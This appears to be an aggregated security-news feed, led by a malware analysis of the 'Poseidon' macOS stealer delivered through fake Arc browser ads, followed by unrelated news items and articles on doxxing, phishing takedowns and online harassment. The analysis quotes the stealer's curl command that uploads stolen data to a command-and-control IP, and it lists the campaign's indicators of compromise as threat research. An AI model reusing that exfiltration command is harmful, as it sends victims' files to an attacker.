On June 24, we observed a new campaign distributing a stealer targeting Mac users via malicious Google ads for the Arc browser. This is the second time in the past couple of months where we see Arc being used as a lure, certainly a sign of its popularity. It was previously used to drop a Windows RAT, also via Google ads.

The macOS stealer being dropped in this latest campaign is actively being developed as an Atomic Stealer competitor, with a large part of its code base being the same as its predecessor. Malwarebytes was previously tracking this payload as OSX.RodStealer, in reference to its author, Rodrigo4. The threat actor rebranded the new project ‘Poseidon’ and added a few new features such as looting VPN configurations.

In this blog post, we review the advertisement of the new Poseidon campaign from the cyber crime forum announcement, to the distribution of the new Mac malware via malvertising.

Rodrigo4 launches new PR campaign

A threat actor known by his handle as Rodrigo4 in the XSS underground forum has been working on a stealer with similar features and code base as the notorious Atomic Stealer (AMOS). The service consists of a malware panel with statistics and a builder with custom name, icon and AppleScript. The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.

In a post last edited on Sunday, June 23, Rodrigo4 announced a new branding for their project:

Hello everyone, we have released the V4 update and there are quite a lot of new things.
The very first thing that catches your eye is the name of the project: Poseidon. Why is that? For PR management. In simple words, people didn’t know who we were.

Malware authors do need publicity, but we will try to stick to the facts and what we have observed in active malware delivery campaigns.

Distribution via Google ads

We saw an ad for the Arc browser belonging to ‘Coles & Co’, linking to the domain name arcthost[.]org:

People who clicked on the ad were redirected to arc-download[.]com, a completely fake site offering Arc for Mac only:

The downloaded DMG file resembles what one would expect when installing a new Mac application with the exception of the right-click to open trick to bypass security protections:

Connection to new Poseidon project

The new “Poseidon” stealer contains unfinished code that was seen by others, and also recently advertised to steal VPN configurations from Fortinet and OpenVPN:

More interesting is the data exfiltration which is revealed in the following command:

set result_send to (do shell script \"curl -X POST -H \\\"uuid: 399122bdb9844f7d934631745e22bd06\\\" -H \\\"user: H1N1_Group\\\" -H \\\"buildid: id777\\\" --data-binary @/tmp/out.zip http:// 79.137.192[.]4/p2p\")

Navigating to this IP address reveals the new Poseidon branded panel:

Conclusion

There is an active scene for Mac malware development focused on stealers. As we can see in this post, there are many contributing factors to such a criminal enterprise. The vendor needs to convince potential customers that their product is feature-rich and has low detection from antivirus software.

Seeing campaigns distributing the new malware payload confirms that the threat is real and actively targeting new victims. Staying protected against these threats requires vigilance any time you download and install a new app.

Malwarebytes for Mac will keep detecting this ‘Poseidon campaign as OSX.RodStealer and we have already shared information related to the malicious ad with Google. We highly recommend using web protection that blocks ads and malicious websites as your first line of defense. Malwarebytes Browser Guard does both effectively.

Indicators of Compromise

Google ad domain

arcthost[.]org

Decoy site

arc-download[.]com

Download URL

zestyahhdog[.]com/Arc12645413[.]dmg

Payload SHA256

c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05

C2

79.137.192[.]4/p2p

WikiLeaks founder Julian Assange returned to Australia, hours after pleading guilty to obtaining and publishing U.S. military secrets.

The post WikiLeaks Founder Julian Assange Returns to Australia a Free Man After US Legal Battle Ends appeared first on SecurityWeek.

CoinStats says North Korean hackers drained $2 million in virtual assets from 1,590 cryptocurrency wallets.

The post Hackers Steal Over $2 Million in Cryptocurrency From CoinStats Wallets appeared first on SecurityWeek.

Car dealerships in North America are still wrestling with major disruptions that started last week with cyberattacks on a company whose software is used widely in the auto retail sales sector.

The post Car Dealerships in North America Revert to Pens and Paper After Cyberattacks on Software Provider appeared first on SecurityWeek.

The infamous cybercrime marketplace BreachForums faced an awkward scenario on June 25, 2024, when a threat actor leaked unverified information about "Aegis”, one of the forum moderators. The doxxing incident of BreachForums moderator was first reported by a LinkedIn user on a cybersecurity forum named “CISO2CISO”.

BreachForums Moderator Doxxing Details

On Tuesday, Bhavesh Mohinani, an SOC analyst and a member of "CISO2CISO,"  shared screenshots of a BreachForums post by an anonymous threat actor that allegedly contained sensitive Personally Identifiable Information (PII) of BreachForums moderator "Aegis". [caption id="attachment_78802" align="alignnone" width="1069"] Source: LinkedIn[/caption] The threat actor claimed that he obtained “bits and pieces” information about Aegis through his friend. “One thing I was given was a first name and an IP. Looking into it, you find out his information is very much out there! So much OPSEC, am I right,” the TA wrote in his post. OPSEC or Operational Security, is a process that identifies seemingly innocuous actions that could inadvertently reveal critical or sensitive data to a cybercriminal. Elaborating the details of Aegis, the threat actor claimed, “Aegis is a 17-year-old Egyptian resident living with his mother. His father seems not to have been found. Aegis started off being a skid, stealing code, claiming to be harmful and so on...he is a loser. “Aegis will most likely deny this being his information but if this post gets taken down, you will know the truth/ love everyone! Expect this loser,” the TA wrote. The user also shared details claiming to be the moderator’s phone number, IP address, residential address and telegram account. [caption id="attachment_78803" align="alignnone" width="1091"] Source: LinkedIn[/caption] While there is no confirmation or credibility to the claims shared by the anonymous actor, the post was deleted as soon as it was shared. However, the post has raised concerns about the security and trustworthiness of online communities.

What is Doxxing?

Doxxing, or doxing for short, is when someone puts your personal information out there on the internet. This can include information like where you work, your home address, your credit card numbers, and other private details. Usually, the intention of the threat actor is to harass the victims. The word "doxxing" first came about in the 1990s, starting from the word "documents," which got shortened to "docs," and then finally became "dox." When people talk about "dropping dox," they mean cybercriminals revealing the true identities of their rivals, taking away their anonymity, and making them vulnerable to the authorities. A doxxing attack begins with the threat actor gathering extensive information about their target, searching online and checking social media for clues. Social media can reveal workplace details, which can be exploited for attacks. Skilled threat actors might also trace a target’s IP address to determine their location. The more data a threat actor collects, the more harm they can inflict. While some doxxing incidents are minor, like sending unwanted pizza deliveries, others can lead to severe consequences such as online harassment, swatting, identity theft, reputational damage, physical assault, job loss, or stalking. The alleged doxxing of the BreachForums moderator has raised questions about whether it would lead to the arrest of another threat actor and if it signals the decline of the forums. For example, in California, doxing is considered a serious offense, and individuals engaging in this activity could face legal consequences. Individuals arrested and charged with cyber harassment (doxing) under Penal Code §653.2 face up to one year in jail and a fine of up to $1,000. In April 2023, Hong Kong’s privacy watchdog, Office of the Privacy Commissioner for Personal Data, arrested a 27-year-old woman on suspicion of doxxing after she allegedly posted the personal details of her friend’s ex-boyfriend on social media.

Prevention Against Doxxing

To protect users against doxxing, one must use strong, unique passwords for each account and enable Multi-Factor Authentication (MFA). Cleaning the digital footprint by removing personal information from online sites, deactivating old accounts, and adjusting privacy settings is regarded as a healthy practice. Using a VPN is recommended to hide the user’s IP address and prevent location tracking. Users must also be vigilant against phishing scams by recognizing poor spelling, mismatched email addresses, and unsolicited links. Finally, avoiding oversharing personal information online and keeping social media profiles private is a healthy digital practice to enhance security. Media Disclaimer: This report is based on internal and external research obtained through various means. The information provided is for reference purposes only, and users bear full responsibility for their reliance on it. The Cyber Express assumes no liability for the accuracy or consequences of using this information.

Assange will plead guilty to an Espionage Act charge of conspiring to unlawfully obtain and disseminate classified national defense information, the Justice Department said.

The post WikiLeaks Founder Julian Assange Will Plead Guilty in Deal With US and Return to Australia appeared first on SecurityWeek.

The US has announced charges against four Vietnamese nationals for hacking businesses and causing $71 million in losses.

The post Vietnamese Members of FIN9 Hacking Group Charged in US appeared first on SecurityWeek.

Hundreds of operations and appointments are still being canceled more than two weeks after the June 3 cyberattack on NHS provider Synnovis.

The post Investigation of Russian Hack on London Hospitals May Take Weeks Amid Worries Over Online Data Dump appeared first on SecurityWeek.

Car dealership software provider CDK Global was in the process of restoring services impacted by a cyberattack when it discovered an additional hack.

The post Disruptions at Many Car Dealerships Continue as CDK Hack Worsens appeared first on SecurityWeek.

Sagar Steven Singh and Nicholas Ceraolo pleaded guilty to hacking a database maintained by a US federal law enforcement agency.

The post Two Men Plead Guilty to Hacking Law Enforcement Database for Doxing appeared first on SecurityWeek.

Cybercriminals are not about to give up – this is how they make their living. So it’s up to cybersecurity professionals to stay vigilant and learn as much as they can about the forces they face.

The post Are We Turning the Corner in the Fight Against Cybercrime? It’s Complicated. appeared first on Security Boulevard.

In a significant move aimed at aiding victims of cyberattacks, the U.S. Federal Bureau of Investigation (FBI) has announced the distribution of more than 7,000 FBI decryption keys associated with the notorious LockBit ransomware decryption. This initiative comes as part of ongoing efforts to mitigate the devastating impact of ransomware attacks on businesses worldwide.   […]

The post 7000 LockBit Ransomware Decryption Keys Distributed By FBI appeared first on TuxCare.

The post 7000 LockBit Ransomware Decryption Keys Distributed By FBI appeared first on Security Boulevard.

A British man has been arrested in Spain for allegedly being the ringleader of the notorious Scattered Spider cybercrime group.

The post UK Man Suspected of Being ‘Scattered Spider’ Leader Arrested appeared first on SecurityWeek.

Nigerian national Ebuka Raphael Umeti was convicted in the US for operating a business email compromise (BEC) scheme.

The post Nigerian Faces Prison in US After BEC Fraud Conviction appeared first on SecurityWeek.

The City of Cleveland says emergency services, utilities, and airport are unaffected by a recent cyberattack.

The post City of Cleveland Scrambling to Restore Systems Following Cyberattack appeared first on SecurityWeek.

The U.S. Department of Justice (DoJ) recently announced the successful takedown of what is likely the largest botnet ever recorded. This network, known as 911 S5, involved 19 million device botnet disruption across 190 countries and was used by various threat actors for numerous cybercrimes. Let’s have a look at the FBI botnet takedown and […]

The post FBI Botnet Takedown: 911 S5 With 19 Million Infected Devices appeared first on TuxCare.

The post FBI Botnet Takedown: 911 S5 With 19 Million Infected Devices appeared first on Security Boulevard.

UK authorities have arrested two individuals for allegedly using a homemade mobile antenna to send mass text messages.

The post Two Arrested in UK for Smishing Campaign Powered by Homemade SMS Blaster  appeared first on SecurityWeek.

BlackBerry says the Cylance data offered for sale for $750,000 is old and its own systems have not been compromised. 

The post BlackBerry Cylance Data Offered for Sale on Dark Web appeared first on SecurityWeek.

A Zambian court has sentenced 22 Chinese nationals to long prison terms for cybercrimes that included internet fraud and online scams targeting Zambians and other people.

The post 22 Chinese Nationals Sentenced to Long Prison Terms in Zambia for Multinational Cybercrimes appeared first on SecurityWeek.

The US Justice Department has dismantled an enormous botnet:

According to an indictment unsealed on May 24, from 2014 through July 2022, Wang and others are alleged to have created and disseminated malware to compromise and amass a network of millions of residential Windows computers worldwide. These devices were associated with more than 19 million unique IP addresses, including 613,841 IP addresses located in the United States. Wang then generated millions of dollars by offering cybercriminals access to these infected IP addresses for a fee.

[…]

This operation was a coordinated multiagency effort led by law enforcement in the United States, Singapore, Thailand, and Germany. Agents and officers searched residences, seized assets valued at approximately $30 million, and identified additional forfeitable property valued at approximately $30 million. The operation also seized 23 domains and over 70 servers constituting the backbone of Wang’s prior residential proxy service and the recent incarnation of the service. By seizing multiple domains tied to the historical 911 S5, as well as several new domains and services directly linked to an effort to reconstitute the service, the government has successfully terminated Wang’s efforts to further victimize individuals through his newly formed service Clourouter.io and closed the existing malicious backdoors.

The creator and operator of the botnet, YunHe Wang, was arrested in Singapore.

Three news articles.

The US government is trying to recover more than $5.3 million stolen by cybercriminals through a BEC scheme from a workers union.

The post US Authorities Attempting to Recover $5.3 Million Stolen in BEC Scam  appeared first on SecurityWeek.

A multinational operation by Interpol and the FBI cracked down on attempts in Moldova to sabotage one of the international police agency’s key tools, the Red Notice system.

The post Interpol and FBI Break Up a Cyber Scheme in Moldova to Get Asylum for Wanted Criminals appeared first on SecurityWeek.

The FBI has obtained more than 7,000 LockBit ransomware decryption keys and is urging victims to get in touch with its IC3.

The post FBI Says It Has 7,000 LockBit Ransomware Decryption Keys appeared first on SecurityWeek.

According to data released by the FTC in its annual Consumer Sentinel Network Data Book, nearly half of the fraud reported to the federal government in 2023 fell into the category of impersonation fraud — 330,000 scams impersonating businesses and 160,000 scams impersonating government institutions. Allure Security’s online brand impersonation detection data corroborates the FTC’s […]

The post FTC: Half of Fraud Involves Impersonation first appeared on alluresecurity.

The post FTC: Half of Fraud Involves Impersonation appeared first on Security Boulevard.

Law enforcement reveals the identities of eight cybercriminals linked to recently disrupted malware loaders.

The post Identities of Cybercriminals Linked to Malware Loaders Revealed appeared first on SecurityWeek.

The US government has announced sanctions against three Chinese nationals accused of creating and operating the 911 S5 proxy botnet.

The post US Sanctions Three Chinese Men for Operating 911 S5 Botnet appeared first on SecurityWeek.

There’s a new report on how criminals are using generative AI tools:

Key Takeaways:

• Adoption rates of AI technologies among criminals lag behind the rates of their industry counterparts because of the evolving nature of cybercrime.
• Compared to last year, criminals seem to have abandoned any attempt at training real criminal large language models (LLMs). Instead, they are jailbreaking existing ones.
• We are finally seeing the emergence of actual criminal deepfake services, with some bypassing user verification used in financial services.

A major international law enforcement effort involving agencies from 19 countries has disrupted the notorious LabHost phishing-as-a-service platform.

Europol reports that the organization’s infrastructure has been compromised, its website shut down, and 37 suspects arrested, including four people in the UK linked to the running of the site, which also allegedly included the original developer of the service.

Europol’s announcement also hints that this isn’t the end of the story, and users of the platform should ready themselves for some uncomfortable encounters with law enforcement in the future. As Europol said in its release:

A vast amount of data gathered throughout the investigation is now in the possession of law enforcement. This data will be used to support ongoing international operational activities focused on targeting the malicious users of this phishing platform.

The UK’s Metropolitan Police (“The Met”), which spearheaded the operation, says it has already contacted the criminals who used the site:

Shortly after the platform was disrupted, 800 users received a message telling them we know who they are and what they’ve been doing. We’ve shown them we know how much they’ve paid to LabHost, how many different sites they’ve accessed and how many lines of data they’ve received. Many of these individuals will remain the focus of investigation over the coming weeks and months.

In a phishing attack, criminals use emails to trick users into entering details like passwords or credit card numbers into fake websites. The emails and websites typically mimic popular brands like UPS, Amazon, or Microsoft, and copy the format of emails sent by those companies, luring victims with things like fake security alerts.

Phishing-as-a-Service (PaaS) provides the tools and infrastructure criminals need to carry out phishing attacks on a subscription basis, so they don’t have to create and run it themselves. This lowers the barrier to entry for these kinds of crimes and puts sophisticated tools in the hands of people who wouldn’t otherwise have access to them.

LabHost was set up in 2021 and grew to become one of the largest PaaS vendors. Europol says that “with a monthly fee averaging $249, LabHost would offer a range of illicit services which were customizable and could be deployed with a few clicks.” Those services reportedly included a menu of over 170 fake websites for users to choose from, and a campaign management tool called “LabRat” that could capture two-factor (2FA) authentication codes.

The phishing platform is reported to have had 2,000 registered users and was used to create “more than 40,000 fraudulent sites.” The Met says that around 70,000 individual UK victims have been phished using the service, and that globally, it swallowed up 480,000 card numbers, 64,000 PIN numbers, and more than one million passwords.

Victims in the UK have been contacted by the Met to inform them that some of their data has been compromised. Ironically, thousands of victims being contacted in this way creates an opportunity for copycat phishing emails with Met branding. For that reason, the Met has been careful not to include any links in its communications and warns potential victims that:

…if you receive any contact from the Met with links in, this will be fraudulent so please do not engage with this.

If you’ve been contacted by the Metropolitan Police about the LabHost breach you can find some useful guidance and support on its LabHost Disruption page.

Someone got caught trying to smuggle 322 pounds of gold (that’s about a quarter of a cubic foot) out of Hong Kong. It was disguised as machine parts:

On March 27, customs officials x-rayed two air compressors and discovered that they contained gold that had been “concealed in the integral parts” of the compressors. Those gold parts had also been painted silver to match the other components in an attempt to throw customs off the trail.

It takes a little to receive a lot of online hate today, from simply working as a school administrator to playing a role in a popular movie or video game.

But these moments of personal crisis have few, immediate solutions, as the current proposals to curb and stem online harassment zero in on the systemic—such as changes in data privacy laws to limit the personal information that can be weaponized online or calls for major social media platforms to better moderate hateful content and its spread.

Such structural shifts can take years (if they take place at all), which can leave today’s victims feeling helpless.

There are, however, a few steps that everyday people can take, starting now, to better protect themselves against online hate and harassment campaigns. And thankfully, none of them involve “just getting off the internet,” a suggestion that, according to Leigh Honeywell, is both ineffective and unwanted.

“The [idea that the] answer to being bullied is that you shouldn’t be able to participate in public life—I don’t think that’s okay,” said Honeywell, CEO and co-founder of the digital safety consultancy Tall Poppy.

Speaking to me on the Lock and Code podcast last month, Honeywell explained that Tall Poppy’s defense strategies to online harassment incorporate best practices from Honeywell’s prior industry—cybersecurity.

Here are a few steps that people can proactively take to limit online harassment before it happens.

Get good at Googling yourself

One of the first steps in protecting yourself from online harassment is finding out what information about you is already available online. This is because, as Honeywell said, much of that information can be weaponized for abuse.

Picture an angry diner posting a chef’s address on Yelp alongside a poor review, or a complete stranger sending in a fake bomb threat to a school address, or a real-life bully scraping the internet for embarrassing photos of someone they want to harass.  

All this information could be available online, and the best way to know if it exists is to do the searching yourself.

As for where to start?

“First name, last name, city name, or other characteristics about yourself,” Honeywell said, listing what, specifically, to search online.

It’s important to understand that the online search itself may not bring immediate results, but it will likely reveal active online profiles on platforms like LinkedIn, X (formerly Twitter), Facebook, and Instagram. If those profiles are public, an angry individual could scrape relevant information and use it to their advantage. Even a LinkedIn profile could be weaponized by someone who calls in fake complaints to a person’s employer, trying to have them fired from their position.

In combing through the data that you can find about yourself online, Honeywell said people should focus on what someone else could do with that data.

“If an adversary was trying to find out information about me, what would they find?” Honeywell said. “If they had that information, what would they do with it?”

Take down what you can

You’ve found what an adversary might use against you online. Now it’s time to take it down.

Admittedly, this can be difficult in the United States, as Americans are not protected by a national data privacy law that gives them the right to request their data be deleted from certain websites, platforms, and data brokers.

Where Americans could find some help, however, is from online resources and services that streamline the data removal process that is enshrined in some state laws. These tools, like the iOS app Permission Slip, released by Consumer Reports in 2022, show users what types of information companies are collecting about them, and give user the opportunity to request that such data be deleted.

Separately, Google released on online tool in 2023 where users can request that certain search results that contain their personal information be removed. You can learn more about the tool, called “Results about you,” here.

When all else fails, Honeywell said that people shouldn’t be afraid to escalate the situation to their state’s regulators. That could include filing an official complaint with a State Attorney General, or with the Consumer Financial Protection Bureau, or the Federal Trade Commission.

“It sounds like the big guns,” Honeywell said, “but I think it’s important that, as individuals, we do what we can to hold the companies that are creating this mess accountable.”

Lock down your accounts

If an adversary can’t find your information through an online search, they may try to steal that information by hacking into your accounts, Honeywell said.

“If I’m mad at David, I’m going to hack into David’s email and share personal information,” Honeywell said. “That’s a fairly standard way that we see some of the worst online harassment attacks escalate.”

While hackers may have plenty of novel tools at their disposal, the best defenses you can implement today are the use of unique passwords and multifactor authentication.

Let’s first talk about unique passwords.

Each and every single one of your online accounts—from your email, to your social media profiles, to your online banking—should have a strong, unique password. And because you likely have dozens upon dozens of online accounts to manage, you should keep track of all those passwords with a devoted password manager.

Using unique passwords is one of the best defenses to company data breaches that expose user login credentials. Once those credentials are available on the dark web, hackers will buy those credentials so they can attempt to use them to gain access to other online accounts. You can prevent those efforts going forward by refusing to repeat passwords across any of your online accounts.

Now, start using multifactor authentication, if you’re not already.

Multifactor authentication is offered by most major companies and services today, from your bank, to your email, to your medical provider. By using multifactor authentication, also called MFA or 2FA, you will be required to “authenticate” yourself with more than just your password. This means that when you enter your username and password onto a site or app, you will also be prompted with entering a separate code that is, in many cases, sent to your phone via text or an app.

MFA is one of the strongest protections to password abuse, ensuring that, even if a hacker has your username and password, they still can’t access your account because they will not have the additional authentication that is required to complete a login.

In the world of cybersecurity, these two defense practices are among the gold standard in stopping cyberattacks. In the world of online harassment, they’re much the same—they work to prevent the abuse of your online accounts.

Here to help

Online harassment is an isolating experience, but protecting yourself against it can be quite the opposite. Honeywell suggested that, for those who feel overwhelmed or who do not know where to start, they can find a friend to help.

“Buddy up,” Honeywell said. “If you’ve got a friend who’s good at Googling, work on each other’s profile, identify what information is out there about you.”

Honeywell also recommended going through data takedown requests together, as the processes can be “extremely tedious” and some of the services that promise to remove your information from the internet are really only trying to sell you a service.

If you’re still wondering what information about you is online and you aren’t comfortable with your way around Google, Malwarebytes has a new, free tool that reveals what information of yours is available on the dark web and across the internet at large. The Digital Footprint Portal, released in April, provides free, unlimited scans for everyone, and it can serve as a strong first step in understanding what information of yours needs to be locked down.

To learn what information about you has been exposed online, use our free scanner below.

Digital security is about so much more than malware. That wasn’t always the case. 

When I started Malwarebytes more than 16 years ago, malware was the primary security concern—the annoying pop-ups, the fast-spreading viruses, the catastrophic worms—and throughout our company’s history, Malwarebytes routinely excelled against this threat. We caught malware that other vendors missed, and we pioneered malware detection methods beyond the signature-based industry standard.  

I’m proud of our success, but it wasn’t just our technology that got us here. It was our attitude.  

At Malwarebytes, we believe that everyone has the right to a secure digital life, no matter their budget, which is why our malware removal tool was free when it launched and remains free today. Our ad blocking tool, Browser Guard is also available to all without a charge. This was very much not the norm in cybersecurity, but I believe it was—and will always be—the right thing to do.  

Today, I am proud to add to our legacy of empowering individuals regardless of their wallet by releasing a new, free tool that better educates and prepares people for modern threats that abuse exposed data to target online identities. I’d like to welcome everyone to try our new Digital Footprint Portal.  

See your exposed data in our new Digital Footprint Portal.

By simply entering an email address, anyone can discover what information of theirs is available on the dark web to hackers, cybercriminals, and scammers. From our safe portal, everyday people can view past password breaches, active social media profiles, potential leaks of government ID info, and more.  

More than a decade ago, Malwarebytes revolutionized the antivirus industry by prioritizing the security of all individuals. Today, Malwarebytes is now also revolutionizing digital life protection by safeguarding the data that serves as the backbone of your identity, your privacy, your reputation, and your well-being online.  

Why data matters 

I can’t tell you how many times I’ve read that “data is the new oil” without reading any explanations as to why people should care.  

Here’s my attempt at clarifying the matter: Too much of our lives are put online without our control.  

Creating a social media account requires handing over your full name and birthdate. Completing any online shopping order requires detailing your address and credit card number. Getting approved for a mortgage requires the exchange of several documents that reveal your salary and your employer. Buying a plane ticket could necessitate your passport info. Messaging your doctor could involve sending a few photos that you’d like to keep private.  

As we know, a lot of this data is valuable to advertisers—this is what pundits focus on when they invoke the value of “oil” in discussing modern data collection—but this data is also valuable to an entirely separate group that has learned to abuse private information in novel and frightening ways: Cybercriminals.  

Long ago, cybercriminals would steal your username and password by fooling you with an urgently worded phishing email. Today, while this tactic is still being used, there’s a much easier path to data theft. Cybercriminals can simply buy your information on the dark web.  

That information can include credit card numbers—where the risk of financial fraud is obvious—and even more regulated forms of identity, like Social Security Numbers and passport info. Equipped with enough forms of “proof,” online thieves can fool a bank into routing your money elsewhere or trick a lender into opening a new line of credit in your name.  

Where the risk truly lies, however, is in fraudulent account access.  

If you’ve ever been involved in a company’s data breach (which is extremely likely), there’s a chance that the username and password that were associated with that data breach can be bought on the dark web for just pennies. Even though each data breach involves just one username and password for each account, cybercriminals know that many people frequently reuse passwords across multiple accounts. After illegally purchasing your login credentials that were exposed in one data breach, thieves will use those same credentials to try to log into more popular, sensitive online accounts, like your online banking, your email, and your social media.  

If any of these attempts at digital safe-cracking works, the potential for harm is enormous.  

With just your email login and password, cybercriminals can ransack photos that are stored in an associated cloud drive and use those for extortion. They can search for attachments that reveal credit card numbers, passport info, and ID cards and then use that information to fool a bank into letting them access your funds. They can pose as you in bogus emails and make fraudulent requests for money from your family and friends. They can even change your password and lock you out forever. 

This is the future of personal cybercrime, and as a company committed to stopping cyberthreats everywhere, we understand that we have a role to play in protecting people.  

We will always stop malware. We will always advise to create and use unique passwords and multifactor authentication. But today, we’re expanding our responsibility and helping you truly see the modern threats that could leverage your data.  

With the Digital Footprint Portal, who you are online is finally visible to you—not just cybercriminals. Use it today to understand where your data has been leaked, what passwords have been exposed, and how you can protect yourself online.  

Digitally safe 

Malwarebytes and the cybersecurity industry at large could not have predicted today’s most pressing threats against online identities and reputations, but that doesn’t mean we get to ignore them. The truth is that Malwarebytes was founded with a belief broader than anti-malware protection. Malwarebytes was founded to keep people safe.  

As cybercriminals change their tactics, as scammers needle their way onto online platforms, and as thieves steal and abuse the sensitive data that everyone places online, Malwarebytes will always stay one step ahead. The future isn’t about worms, viruses, Trojans, scams, pig butchering, or any other single scam. It’s about holistic digital life protection. We’re excited to help you get there.